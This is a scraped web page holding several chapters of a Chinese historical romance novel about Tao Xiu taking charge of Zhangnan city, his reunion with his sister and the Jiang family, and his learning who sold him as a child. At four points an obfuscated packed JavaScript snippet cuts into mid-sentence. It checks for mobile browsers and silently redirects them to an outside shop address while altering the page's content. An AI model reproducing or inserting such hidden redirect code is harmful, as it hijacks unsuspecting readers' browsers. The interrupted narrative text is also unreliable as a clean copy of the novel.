段泽欣然受礼,呵呵笑道:“就让我舔脸最后当一天你的校尉。” 浑浑噩噩走出海定楼,刺眼的光线照的他愈发昏沉,步伐一脚深一脚浅。 一路上陶修畅想了许多将来,陶舒带着两岁的外甥或是外甥女来探亲、张城在漳南城安家立户并三年内顺利做了父亲、永定寺的师父蓄起了头发整日在大门前替他守门、终于有了像样的住处接待锦公子公仪林。藏在怀里的信他还舍不得打开,像块滚碳烧的他到处寻找僻静处仔细认读。 他在离江边不远的一棵老柳树下盘腿坐了,不知为何,先强迫自己欣赏片刻辽阔的江面和渐渐变橙的夕阳,然后才虔诚的展信。 信很短,很简洁,一笔一划书写的板板正正,没有一个深邃难懂的字。陶修先是一个字一个字辨认,再连成一句话揣摩其中的意思。 “漳南较之京口远下许多里,见面的困难又复加一重,我于江边放出的莲灯再无法顺利寄到你手中。儿女情长何其渺小,我愿托举你一次,望你大鹏展翅前程万里。” 他把信折起放入怀里,回想他们上次即将离别时,两人在石头城上临江而立,公仪林问他:“漳南那个地方给你留下的痛苦和阴影大不大?” 陶修回道:“师父在永定寺出家,我对那座城有几分亲切。” 原来那时候公仪林就有举荐他做漳南县尹的打算。 陶修出镇漳南城主的消息没在营中传开,挑选随他一起上路的人员时,他只考虑了张城和周石二人。 有家有妻儿的周石早已厌倦营中望不到头的枯燥烦闷日子,急需有个安定的住所,再把妻儿都接到身边。当陶修提出要他跟着一起去时,周石双手按住陶修的肩膀,浑身颤抖,蠕动嘴角说不出话,一把擦去通红的眼眶里还未来得及掉出的泪,傻愣愣笑了许久。 张城则平静许多,对陶修郑重的承诺一句:“今后你的安危由我来守护。” 十日后,陶修等人启程出发。 登船前,陶修与来相送的同袍一一道别,走到安桂跟前时,安桂把怅惘的目光从江面上收回,对陶修说:“兄弟有前程我该开心,可是我这心里空落落的。” 陶修握住安桂的双手,“安大哥,你救了多少兄弟的命,在大营有举足轻重的位置,我很敬佩你。我也知道你归乡心切,等我有能力就想办法把你要过来。” 安桂打断他的话,摇头笑道:“不必,行医者救死扶伤,到哪里都一样,留在此处我的作用更大,我只是难过你要走了,再见面不知何时。” “相隔不过百十里,想见就一定能见。” “对,想见就一定能见。你的膀子多加注意,按我教你法子,每隔一段时间就针灸一下、敷一敷。” 大江上烟波荡漾,头顶云淡风轻,陶修站在大船上回望待了两年多的地方,以为这个时候是永远离开此地,心怀不舍、与同袍依依惜别,殊不知几年后他会以另外一个身份再次奔赴江矶大营,为将倾的大厦抵上最后一根梁柱。 * * * 漳南城内,已有县署的官员和少数知道新任县尹要来上任的百姓在南门迎接。南门上旌旗翻动、守城的卫兵沿城墙肃立,对新城主的到来目不斜视,场面严肃庄重。 与上次偷摸进城不同,陶修在敬畏的目光里向路旁好奇、热忱的百姓拱手行礼。百姓翘首引领一睹新城主的姿容,看见马背上城主不苟言笑却不失温和的脸,也看见了浩然正气,听说他是去年攻城活下的十八勇士之一时,人群突然朝这一队人马不停地抛出从田野刚采撷的野花,有人泼雨似的洒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当初陶修到陶家想要逃跑的几年,他把善意的辛南佐当作唯一亲人,讨好似地拉着辛南佐的手:“师父啊,你是这世上对我最好的人,我找不到比你还亲的人了!” 辛南佐的思绪飘到很远很远的玉河村,回想与徒弟过往的点滴,一声声“师父”与门外的声音糅合在一起,他分不清门外的孩子究竟是什么人了。 “师父,我知道你在里面假装睡觉,你不想见徒弟?” “再不开门我就回去了,徒弟我现在可是有公事在身的人,错过今日想见我就难了?” 陶修坐在门槛上背对着门,知道师父一旦贪玩起来,这个过程将持续很久,依靠在门板上漫不经心地等着,说些“引诱”他出来的话:“师父啊,别孩子气,多日不见难道就不想我?等风吹翻衣摆三次我可就真回去了。” 辛南佐伸手感受风向,每一阵柔和的风都弄得他心惊肉跳,锃亮的脑门上冷飕飕的,他猛地站起来走到院门前,抽掉门闩豁然一下拉开两扇木门,露出一张狂喜的脸,嚷道:“麟儿呀——”把吓了一跳的陶修搂在怀里,用乱糟糟的胡子来回蹭徒弟的脸:“我怎么会不想你啊,每天念经都念错成你的名字,转一圈给我细看看。” 他把陶修从怀里放出来,逼着他转一圈,“又高了啊,脸上、身上好歹有点肉,看来公仪小子家的伙食不错。” 陶修笑道:“你的眼一定出了问题,我还长高?师父这半年一直在寺中没走?每次见你面都要跟我藏闷闷,下回痛快点出来见我。” 辛南佐抱住粗壮的双臂,气势雄壮,斜着眼从上至下来来回回打量陶修:“我这徒弟越来越出息了。快来跟我讲讲这半年的经历,都遇到什么人了,竟能帮你坐上这城主之位。” 104.他治下的漳南 师徒二人席地坐在寺院的花园里,闻着四月花草清香,沐浴明媚的春光。陶修向师父描绘漳南城的未来,他要训练一支兵强马壮的队伍、亲自带百姓寒耕暑耘,减轻他们的徭役,与民一起将漳南建成守卫在大陈最北的最强壁垒。 辛南佐点头微笑应和徒弟的“宏图大志”,幻想他成就一番事业的雄伟之姿。 至天顺三年的秋,陶修也确实这么做了。 自陶修站到漳南城楼的那一刻,极目远眺西北方呈暗灰色的大河和空旷的原野,就已下定决心励精图治,让此城欣欣向荣一日千里,将它当做自己的归宿。 陶修很快熟悉县署的公务流程,认真处理放在案几上的每一份公文,悉心听取县署旧官员的建议和提议。 春耕秋收季节,他单独划出一块中心地和百姓一起耕种。百姓挺喜欢这个没有官架的年轻城主,他就像个从每户人家都能挑出来下田种地的寻常儿子,百姓眼里,挥汗如雨的城主耕田的经验不差他们任何人,捶腰擦汗的动作也没有比谁更优雅耐看。 百姓从最初的小心招呼:“城主,要休息会吗?”到后来热情地递上饮水:“城主,杂草都锄尽了啊?看来今日又起了早,喝点水歇会吧!”再后来已有人拉起种地外的话匣:“城主年纪轻轻,却能吃得了恁大的苦。”“城主祖地是哪里人?为何选择来我们漳南城?” 城主虽寡言少语,但笑容平和,清亮沉静的眼睛没有威严,没有距离,他们甚至能坐在田埂聊上半天。城主与他们唯一不同的就是,在十几步开外,永远席地坐着另一个抱剑的年轻人,心怀戒备地盯着他们所有人。 “你会吓坏他们。”陶修无数次提醒张城。 “我不放心。你身为城主不该随时随地暴露在众人视线下,你的命已不再是你一个人的。” “你忘了,比剑,你未必赢我。” “我也没忘,再厉害的人也有差点被割喉的时候。” “你说话从不顾及我的面子。” 除去春耕农忙,县署把漳南的青壮年抽调出来分批操训。周石训练将士的能力天赋异禀,甚至比沧澜队的段泽还要严厉三分,但其立下的军纪刚中带柔,伸缩有度,并未引起尚处于预备阶段的百姓的过多埋怨。从开始的不到五百人,一年时间人数就已达三千。 就在周石热血沸腾想训练一支骑兵时,陶修提醒他:“即便身后有公仪林,骑兵的事也不宜操之过急,小心为好。还有,一个人口不过几万的城,有支三千训练有素的兵力就足够了。” 陶修给自己和张城请了位读书先生。这位先生立下规矩,让他们二人每日傍晚不分寒暑读书认字一个时辰。两人老老实实遵从,第一个月和第二月还能看见两人勤学苦读的身影,到了第六个月就只有陶修一人独坐窗前看外面大雪纷飞。他合上书,单手撑额,凝望雪中那棵粗壮低矮的松柏。一根苍遒的松枝延伸在窗棂边,落了一层薄雪,和窗下神思怅惘的年轻人形成一幅风骨清韵又忧伤的落雪图。 城中的政务常忙的他抽不出闲暇想其他事,这大半年来,他已收到三封从建康递来的信,第一封饱含忧郁的思念,第二封已有抱怨之词,第三封则是置气的官方话语,信末还盖了右卫的大印以震慑远在天边的小小城主。 大雪纷飞的冬季,陶修终于提笔写下第一封回信。他的字还不能任意控制距离和大小,用纸篇幅较大,所以,当备受思念煎熬的公仪林拿到厚实一叠信纸时,喜出望外,沐浴之后才虔诚地打开封套,以为脱离他“魔爪”的小城主在信里倾诉了整年的感情,谁知,厚厚的信纸被一幅谈不上好坏的“落雪松柏”占据大半位置,不免失望几分。 画的落笔处盖的是小而稚气的“萧康乐印”,一年了,没有机会喊出这个名字。 * 秋天那会,陶修给汝丘的陶舒送去消息,要她一定带上外甥来探亲,并问自己是否有资格为外甥取名。 陶舒很快就回信告诉他,她生了一个漂亮的女儿,还未取名,等明年春天外甥女会亲自去舅舅处要个好名字。 周石的妻儿历经长途跋涉,终于在天气凉爽的初秋时来到漳南安顿下来,他们那强壮如两只小老虎似的一儿一女给周家院子增添不少欢声笑语和天真的童音。 几个男人聚集的地方一旦有了女人,家的感觉很快随之而来。 陶修和张城时常去周家蹭饭,不为别的,就为了家的感觉,坐在角落安静地捧着热气腾腾的辣汤,说些家长里短,喝完俩人就抹抹嘴回县署,从不耽误周家忙正事。蹭饭次数一多,周石之妻程氏就把大部分女人的通病暴露出来,仗着周石一嘴的浓密胡须和自己大他们好几岁,自然而然认为陶修和张城是小他们一截的兄弟,开始关心起二人成家的事,“该成家了吧?有心仪的人吗?” 次次都是陶修装作专心喝汤,躲开张城心知肚明、程氏寻根究底的目光。 这一次来喝汤,又提起老话题,张城倒坦荡荡的,直接把成家的任务丢给瞎张罗的嫂子,“我这么穷,没有姑娘肯跟我。小弟指望大嫂给想着呢。” 程氏还真为难起来:“我也初到此处,左邻右舍都不熟悉。不急啊,等我把周围的人家认个干净,一定把你的事放心上。不过……”她犹疑地望着陶修:“陶城主的亲事我不敢答应,城里想攀他的人何其多啊。” 周石见妻子正儿八经的当回事,稍加劝阻道:“越说越离谱,我这俩兄弟的脸哪个需要你替他们愁了,缘分都还没到咧。” 张城指着陶修笑道:“他啊,你们不用愁他,他的缘分早有了。” “真的?”周石紧跟着追问:“看不出来城主藏的挺深。是谁?” 今年的冬天十分寒冷,喝了周家两碗辣汤都没能使身子暖和起来。屋外漆黑一片,冰凉的雨丝在微光里像根根银线,一阵寒风就将刚才辣汤的热量吹的干干净净,陶修和张城穿上蓑衣走进暗夜的雨里。 两人踩着湿滑的小道一前一后,北风呼啸,四周又静又冷,这天地间像只有他们两个活物。 “刚才我是话赶话,不小心说漏了嘴。”那句话出口后就没听到陶修开口,还以为得罪他了。 陶修停下脚步等张城走上来,斗笠的边沿被雨打湿,顶在头上挺沉,他压低边沿沉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282131|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“没怪你,你们迟早都会知道。” 张城手提一盏小灯笼,在昏暗的灯光下,斗笠遮了陶修的半张脸,露出挂着笑意的嘴角,这人如此直白坦然,张城反而懵了一瞬,不知该如何接话。 “今夜可能又要下雪,随我到南门看看?” “好啊,反正衾冷枕寒的睡不着,把几个城门都转一圈。” 两人回到县署骑上马,冒雨把南门和东门都转了一圈。这个行为本是二人在雨夜排解孤寒的无意之举,却给守城门的将士非常大的震慑,他们从不知城主竟会在雨夜“突袭”城门视察,个个脸色都跟放久了的烂冬瓜一样,好在城主带来的是嘘寒问暖,对他们饮酒取暖一事视而不见。 陶修站在城墙上凝视漆黑的天穹,凛冽的北风啸耳,雨滴砸得脸疼,想起那夜公仪林指月玩笑道:“今夜的月适合思念。” 阴雨绵绵的夜晚又何尝不是一样的心境。 夜间果然下起了雪,已是今年入冬后的第二场,希望瑞雪之下,明年能是丰瑞的一年。 如陶修所愿,天顺三年果然是他今后每想起就会欣慰的一年。 自第二年开春后,江家江良带着不安的信函一封又一封递到陶修手中,一封信上说陶舒将延迟去漳南探亲的日程,另一封又说再过半个月就将上路,后来又说三月初十准时启程。 陶修兴奋难抑,以下田的借口一连去城外等了几天,第四次站在田埂上眺望时,终于看见陶舒和外甥女的马车从小道上缓缓而来。三月田间的野花在小道两旁盛开,黄色、紫色的花沿着蜿蜒的小道延伸向东,马车上清脆的铃音在明媚的春光下很能拨动人的思乡之情,隔着很远,陶修好像已听见外甥女咿咿呀呀的声音。 他满怀激动立在路边等着,马车在离他几步远的地方停下,深蓝色的车帘突然挑开,露出陶舒喜极而泣的脸,她不顾蹒跚学步的女儿牵扯衣角,也不顾刚为人母需维持的温婉形象,像当初在玉河村一样,大喊一声“哥哥”,从马车上跳下来一下扑进陶修怀里。 她还像未嫁时一样哇哇大哭,把眼泪鼻涕抹在兄长衣服上,紧搂着他的腰,“阿兄,我们两年多没见了。” 陶修轻拍其背,笑意温和:“快别哭了。你不知道,我现在更想看看外甥女。” 兄妹二人久别重逢已然忘记周围还有别的人。陶舒仰起鼻涕眼泪混在一起的脸忽然想到自己还有个女儿,忙转身走向马车。 陶修也才看见江良恭敬地站在不远处向他躬身施礼。 “大舅子,好久不见。” 陶修惊喜地走过去问:“信中没说你也要来,何不早说,让我多些期待。” “路途遥远,我实在不放心小舒带着孩子和小妹下远,只能跟着一起来。” 陶修一时未察觉出这话里多出来的一个人,“你来了可就要按我的规矩来,小舒何时能回去我说了算。” 江良道:“只要大舅子不嫌我们累赘,就一直待到你撵我们走。” 这时,陶舒将粉雕玉琢的闺女抱在怀中站到兄长面前,难掩一个做母亲显摆孩子时的自豪,抿唇笑而不言。 105.哥哥我有秘密 孩子肉嘟嘟粉嫩嫩的脸蛋配上鹅黄色的小衣裳,莫名像一只刚破壳的小绒鸡,没等陶修伸手,孩子已露出仅有的一颗牙朝他发出比车上铃铛还要动听的笑声,在陶舒怀里又纵又跳。 “抱啊?”陶舒鼓励愣在原地的陶修,“你不是更想她吗?” 陶修在身上来回擦着刚才还在田间薅草的双手,惊醒似的接过软软糯糯的小孩,轻轻搂在怀里,小孩身上有奶香气,柔嫩的小手在他脸、头发上来回拨弄,咿咿呀呀说着在场所有人都听不懂的话。 这孩子是与陶舒血脉相连的人,也将是他最亲的人,陶家人丁稀少甚至不复存在,这个孩子把几乎散掉的陶家又重新连接在一起,让他身处千里之外也能被这份血脉遥遥牵连,陶修把头抵在小孩的脑门上,许久才开口:“好小的孩子。” “她出生时更小,像只瘦猫,小舒付出许多精力才把她养得这样胖。”江良也忍不住显摆,“不到一岁她已能扶墙走路,凡是拿到手的东西都要用嘴尝尝,调皮的很呐。” “哥哥,姑娘等着你起名呢!” 他们来之前,陶修把读书时遇到寓意好的字全都一一记下,总没有满意的,方才望着她们伴随清脆的铃音自东方的一地锦绣上缓缓而来,福至心灵,他觉得这孩子该叫锦意。 “她的将来繁花似锦,如这春日一样明朗,她叫江锦意。” 见江良还在细品名字的妙处,陶修随即又说:“若你们夫妻二人不反对,叫陶锦意也行。” “使不得,使不得,”江良连连摆手,“我的老爹娘要知道孙儿被改了姓,恐怕,连我都逐出家门了吧。” 田间风大,陶修让他们上车快些进城休息,这时陶舒才想起车内的另外一人,忙对阿兄说:“与我们同来的还有一人,哥哥你猜是谁?你从前见过她几次。” 陶修边朝前走边问:“既是熟人,为何不下车?是哪位?” 就在他要掀帘看个究竟时,那块蓝色挡帘突然被车内的一只手抓住不让打开,一声悦耳柔和的声音从内传出:“一路上跋山涉水,形容憔悴邋遢,请允许我到落脚处稍加梳洗一番再见陶大哥,陶大哥能谅解。” 陶修火灼似的缩回手,转头询问陶舒,“车里的姑娘是?” 车里的姑娘立即回答:“我是江旋,陶大哥听不出我声音了?” 陶修脑中很快就记起江旋落落大方的气度和明朗爱笑的脸,忙退后几步为方才唐突的行为道歉。 江旋倒不是扭捏作态的女子,也不是一定要打扮漂漂亮亮才敢见人的性格,实在是刚才来的路上抱侄女时,一头的钗饰、发髻被江锦意两只肉手紧紧薅在手中,等她肯松开手时,江旋已披头散发、鬓乱钗横。 站在远处保护陶修的张城没敢妨碍他们亲人重聚,回城的路上,他盯着马车后屁股瞧了好一阵子,忍不住问一旁的陶修:“车里还有人?怎么不下来?” “里面是位姑娘,江良的堂妹。” 派头这么大,他还以为江家行动不便的老祖母跟着一块来了,“江良的妹子来漳南做什么,都肯千里迢迢来这里了,还不愿下车见人,好大的架子。” “姑娘家与我们粗人不同,风尘仆仆,确实该给她们梳洗时间。” 一众人在县署后院的小厅堂见面。小小厅堂被几个五大三粗的汉子占据后显得很拥挤,个个人高马大,把“小绒鸡”围在中间逗弄。他们为积极配合陶修心情,所有目光都集中在江锦意身上,装作和他一样大半年前就在期待这孩子到来,夸赞孩子的声音此消彼长。 将会走路的孩子喜欢扶东西到处摸索,陶修强行扼制江锦意的天性,非得把她抱在怀里享受众人的夸赞,终于把孩子逼的哇哇哭。 周石来了一句:“等你有自己的孩子,比这个还疼他咧。” 张城伸出长指,筷子似的把孩子肉脸颊夹在指间,没个轻重的又拽又抖,说:“真像年画上的孩子,该给她抱条大鱼。”刚哄好的孩子在他残忍的手指下又撇嘴哇的哭了。 江旋在屋里盘好发髻擦了把脸就走出来,恰好目睹张城在欺负侄女,拳头一攒,三步跨到张城跟前打开他的手高叫一声:“大哥,你捏她干嘛?” 张城忙缩手辩解:“我没捏,就一个小孩,我捏她干嘛?你谁啊?” “我是她姑姑。” 张城觉得被她那一爪子冒犯了,不客气地问:“哟,终于打扮好了啊?” “你——”江旋刚要动怒,才想起陶修立在一旁,脸上表情忽而柔和,声音也清了几分:“陶大哥,我来抱吧。” 她接过孩子放到门边,孩子扶上门槛顿时就止住哭声,晶亮的眼睛紧盯院中几只扑腾的麻雀,发出“喔,喔”的好奇声。 “要给她摸索的机会,她比大人更好奇门外的天地。”江旋向几个粗汉讲解她那一星半点的带孩子经验,眼睛掠过陶修的脸时,忽发现他脖子上显眼的疤痕。 江旋早在从寄去桃花亭的信中知道他现已是漳南城主开始就很好奇,陶修是凭哪样的功绩竟能在两三年内坐到现在的位置,显而易见,是命换来的。 她不知出于何种心态,可能是敬佩,也可能是此趟来的目的使然,不顾周围目光,伸出手轻触那道伤痕,沉浸在她幻想出来的生死存亡的时刻,轻声问:“疼吗?” 这只柔荑一样温软的手带来的触感和周围人惊诧的目光给了陶修两种不一样的刺激,脑子一片轰鸣,窒息一样杵在原地没敢动弹,江旋身上有摄人心魄的女子的芬芳,在他还没来及脸红耳赤前,这个暧昧场景突然被张城一掌拍碎,“嗨,好好说话,姑娘家怎么动起手来了?” 江旋缩回被拍的手,才想起刚才行为确实不够得体,两颊迅速飞起一片烟霞,小声向张城解释道:“我没见过这种致命伤,陶大哥这几年在军营的处境比我们想象的还难吧?” “早已是旧伤了,愈合的很好。”陶修把领口往上拎一点,自以为挡住已有无数人问及过的伤疤。 从未和女人接触过的张城在两片梦幻似的红霞中迷失了,他觉得自己踩在云端,周围只有碧蓝的天空和江旋漆黑的双眸,他被她凝视的眼神定住,全身上下唯有眼珠子能自由打量这个说着一口吴郡方言的漂亮姑娘。 “你们吴郡的口音真好听。”张城云里雾里飘着,原来嘴也能动。 一阵哄然大笑,周石推了下张城,笑话他:“江姑娘问你是不是也受过伤,你夸人口音好听。” “有,有,我也伤过。”此时张城只恨自己没受过陶修那样的重伤,待他露出手臂上几处箭伤才发现江旋已抱着锦意出了门。 夜晚,陶家兄妹二人点灯促膝长谈时,陶舒对着兄长身上累积的伤哭了一次又一次,“为何在信中从不提你受伤一事?虽会令我担心,但你不怕我今后再看不见你,甚至失去为你担心的机会?你不该瞒我的。” “我是你哥,不该时时给你带去忧虑,从小我不都是这样?” “你太为别人考虑了。” 两人互相诉说近两年里的大小事,陶舒在言语里透露出在江家从未受过委屈,这很令陶修满意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296222|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提到江旋为何也要来漳南时,陶舒用即将促成一桩好事的欢快语调问:“哥哥如今也在此安定下来了,能考虑终身大事了吧?江旋此来的目的,你应该能看出来,她是个敢作敢为的姑娘。” 十七岁那年,江家从未轻视他们的善意陶修一直记得,那时候他怕卑贱的身份耽误江家姑娘,如今虽已不同,但曾经那颗有过片刻心动的心早已装了别人。陶修沉默片刻,谨慎地叮嘱小妹:“我已有心仪的人,江姑娘住在这里的这段时间,你们所有人不要轻易拿我和她玩笑,我会找机会跟她说明白。” “啊,这,你有喜欢的人,为何也不在信中说起啊?早知道这样,唉,她能来也有我鼓动的意思。” “好心办坏事了吧!” 谈话一直持续至深夜,直到陶修让她回屋歇息。 陶舒见兄长弯腰把她的鞋子摆正在脚旁,想到他这些年的付出,突然悲从心来,又难过地跪下去,低声叫唤一句:“哥哥。” 陶修转头见她由坐转跪,心中猛然一惊。 “哥哥,我一直瞒着你一件事,因我的自私,一直没敢跟你说起。” 他企图拽起下跪的陶舒,陶舒反而把身子俯的更低。 “你有何事瞒着我?” 陶舒仰起头,眼中的泪水映着桌上豆大的灯苗,灯火跳跃,像她的心脏一样不安,“我知道当年拐卖你的人是谁,我知道他家在何处,我六年前就知道了,可我一直瞒着你。” 陶修提起她的双臂,让她看着自己的眼睛,冷静地问:“六年前阿翁就告诉了你?他是哪里的人,我们认识?” “我们不认识他,但他是出了名的拐子,六年前他被人砍死在汝丘城外。起先我不敢告诉你这个秘密,那人死后我又觉得没必要再告诉你。” 陶修震惊她居然隐瞒这至关重要的秘密,不禁大声质问:“为什么不告诉我?阿翁始终带着怕我逃走的恨意不愿告诉我,你又是为何?即便那人死了,与他同流合污的人总有活着的。” 她哑声哭喊:“我也怕你逃走,我比阿翁还怕。”反手抓住陶修的手臂,“我习惯你在身边保护我,阿翁说你出身富贵,我怕你找到亲生父母后就把我和他都抛弃,也怕你有了自己的兄弟姊妹后会不要我。” 陶修神情忧伤,问了她一句:“你真的了解我吗?” “对不起,是我太自私了。嫁到江家有了踏实的家之后我才醒悟自己多自私,抱着锦意时,我才明白一个母亲失去骨肉会多痛苦,阿兄,你的母亲应该也很想你吧?” 母亲?他幼年过的不好急需这个角色保护的时候,母亲就像天边他用朝霞幻化出来的身影,无法触及,如今已成人,母亲更像是戏曲里的一种称呼,与他没有任何关系了。 陶修愣了许久,松开几乎勒碎陶舒手臂的手,歉疚一笑:“弄疼你了,我一时心急下手没有轻重?” “你会讨厌我?” “几年前我想找回祖地的想法还很执着,自从你嫁人,我忽而感觉卸下身上重担,后来入江矶营见惯生死,觉得人这一生要做的事太多、生命又太无常,何必揪着一件事不放,我就是我,不会因为找到亲人就变成另外一个人。你不是旁人,此事没严重到我要讨厌你的地步,你也太小看你哥了。” 陶舒哭得更伤心,他不是被父母抛弃,他是强行与父母生离,两边都盼着相见相认,他心里绝没有表面上这副淡然。 “那个恶人死的时候,我们去看过,当时你说‘恶有恶报’,就是他。” “是他?” 106.江家只招赘婿 那是六年前入夏后的一天,村里都在传言汝丘城外的树下有个贩卖至少四十个孩子的拐子被人杀了,汝丘县尹为惩戒人贩以示震慑,把那恶人暴尸于城外,整整两日无人敢收尸,绿头苍蝇在尸体旁盘旋了一整天终于决定在拐子张开的嘴里产卵,附近许多喜欢热闹的人纷纷赶去看少见的场面。 陶修挤进人群朝尸体看去一眼,蠕动的蛆虫从那人嘴里不停的爬出来又从鼻腔钻入,他反胃厉害,拨开人群跑到杂草丛前一阵干呕。后来他从苦楝树上折下一根粗枝覆盖在恶人脸上。 这个举动遭到当时没有认出陶修的富家公子公仪林的取笑:“还有人比佛祖还心善,给拐子最后的体面。” 那个高门公子跟围观的人一样,难得见到暴尸场面,闻讯立即就赶来了,真是哪里有热闹哪里就有他,看热闹的本领比那绿头苍蝇还勤快。 听见他和大仆们狂妄的笑声,陶修回头看了眼那群与己格格不入的人,当即认出中间个头挺拔的少年正是几年前在玉河村避暑、跟在自己身后像尾巴一样的公仪林。 “喂——”那纨绔少年继续冲陶修背影喊了一句,“如果他拐的是你,你还能这样心善替他掩面,干嘛不好事做到底,把他给埋了?”那伙人的嘲笑声像黏稠的汗紧贴在后背,陶修一声不吭匆匆离开他们的视线。 世间事就是如此巧合,当年他为其掩面的尸体竟然就是将他卖给陶家的人贩。 “阿兄,若你不被公务缠身重归故里,我跟你一起去寻找身世。”陶舒轻轻摇晃他的肩。 陶修醒过神勉强笑道:“恶人都已死了,什么身世不身世的就随它去吧。” * 陶舒、江旋来此十来日,发现陶城主日日忙得连一块吃饭的时间都没有,每日拂晓不见人影,披星戴月才回来,回来第一件事就是抱起江锦意直到给孩子抱哭。 陶舒心疼兄长日夜操劳,每日都在炉子上炖一锅汤等他回来喝。这汤说是陶舒做的,江旋用的心思更多,那伙和城主一起晚归的人就爱挤在庖房巴掌大的地方谈天说地。 若问城主一整日都在忙什么,回答是五花八门,种了一天地、巡逻营房检视士兵操练水平、勘察漳南水陆地形、体察百姓之苦,风尘仆仆的模样好似大陈国离了他就不转了。 陶舒不解:“汝丘的县尹为何没有你这样忙?是你太过亲力亲为,还是汝丘城主饱食终日?” “县与县的位置不同。漳南与寿阳隔河相望,随时要应对他们的扰境突袭,不能掉以轻心。而汝丘被严守在内,没有这种危机。似漳南一样处境的城池还有临川郡的醴县,也就是公仪林的大哥公仪檀所守的前沿,两地均与周边境针锋相对擦火就着,不得不防着。” 陶舒震惊道:“岂不是最危险的两地?” 坐在炉子后搅汤的江旋幽幽来一句:“正因为此,也算是很安全的地方,要不就无战事,一旦有,牵一发而动全身,哪里都一样。” 她以手托腮,盯着坐在桌旁毫无城主架势的陶修,他忙碌后的倦容使她不敢靠近,连话都不敢多说几句,深怕打搅对方,更何谈来此之前信誓旦旦要表露心迹的决心。 “咸了啊,江姑娘,熬汤时都不尝尝?”张城见她神情恹恹,故意凑过来讨嫌。 “缸里的水多了,咸了就喝几瓢解渴。” “会骑马吗?” “不一定输你,我还学过几招保命的剑法咧。”江旋扫了他一眼,眸中透着不服的倔强。 张城捧着碗蹲在她脚下,偷偷打量着她,小巧的鼻头上擦了点灰,使明眸皓齿大气端庄的脸多几分俏皮,“看不出来,我以为吴郡女子都性情温婉,你还会使剑。” “你这是根深蒂固的偏见。” “看你待在府中实在无趣,明日带你出去一趟?城主明日打算再沿漳水向西跑一趟,勘察漳水河与哪条可行船的水道相连,想去吗?” 江旋侧头从张城耳边偷望身后的陶修,小声问:“陶大哥许我去吗?” 张城旋即转头问:“城主,明日可以带上江姑娘?” 陶修早注意炉边的二人低头在那嘀咕一阵子,想到张城近几日有意无意问起自己和江旋在汝丘相识的经过,看来这小子心里有个小算盘。陶修有点如释重负的感觉,会心一笑回答道:“没问题,只怕江姑娘会受累。” “不累不累。” 一屋子人喝过汤各自回屋时,张城叮嘱江旋:“明日要走的路很长,江姑娘给自己多备些吃的,免得体力不支。” 陶修与张城同路,两人走过幽静的小园,陶修漫不经心提到江旋,问身边的人:“江姑娘这人怎么样?” “我觉得挺好,比我想象的凶一点,但性格爽朗,极爱笑。” “是吧,我当初也觉得江姑娘言行大气,善解人意。”陶修突然驻脚转头问:“你喜欢她,但江家的姑娘不容易娶。” “为何?”张城好奇心猛增,反而忽略了前一句话,“是不是我地位低攀不上江家?” “江家招的是赘婿。” 张城愣了一瞬,紧跟上陶修步伐,追着问:“此话当真?” 陶修指着他意味深长地笑道:“几句话什么都招了。” 张城这才反应过来承认对江姑娘有好感一事,急着挽回面子:“你重新问,从江姑娘为人如何开始问,我来答。” “喜欢一个人又不丢人,没什么好解释的。” 春日的佛晓,潮湿清冷的空气中尽是花香,东边的天穹呈现宁静柔和的蓝青色,陶修等人摸着黎明朦胧的光静悄悄走向马厩,没想到江旋已在那等了片刻。她背着蓝色小布包袱,斜系在胸口,一副出远门的模样。 “姑娘这是几时就起了啊?”张城的心情似乎很好,语调轻快,边扎紧腰间的剑边问她包袱里是什么东西。 “起了有一个时辰了,顺便做了点吃的。” 一同去的还有一个叫胡峤的护卫,此人是张城两个月前刚从将士里提拔上来的,三十来岁,本地人,魁梧、寡言,擅使大刀,一身的武艺张城至今都没摸出深度,为不浪费他的本领,张城把胡峤放在陶修身边做持刀人。 几匹急速奔驰的马在黎明的街道上响起单调而响亮的蹄声,他们出了城门一路向南,来到旷野时又从小道向东疾驰。 漳南河平静宽阔,春夏季水流向东汇入淮河水网的沅离河,沅离河向南百里汇入大江。一帮人走到路尽头,横在面前的是一片没有开垦的荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306465|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野,荆棘丛生无路可走。 无奈之下一伙人只得将马栓在林中,拨过浓密的杂草步行向沅离河边走去。沅离河自北向南,正值春季涨水,河面比枯竭期时宽出一倍。两岸除了农田就是荒丛。 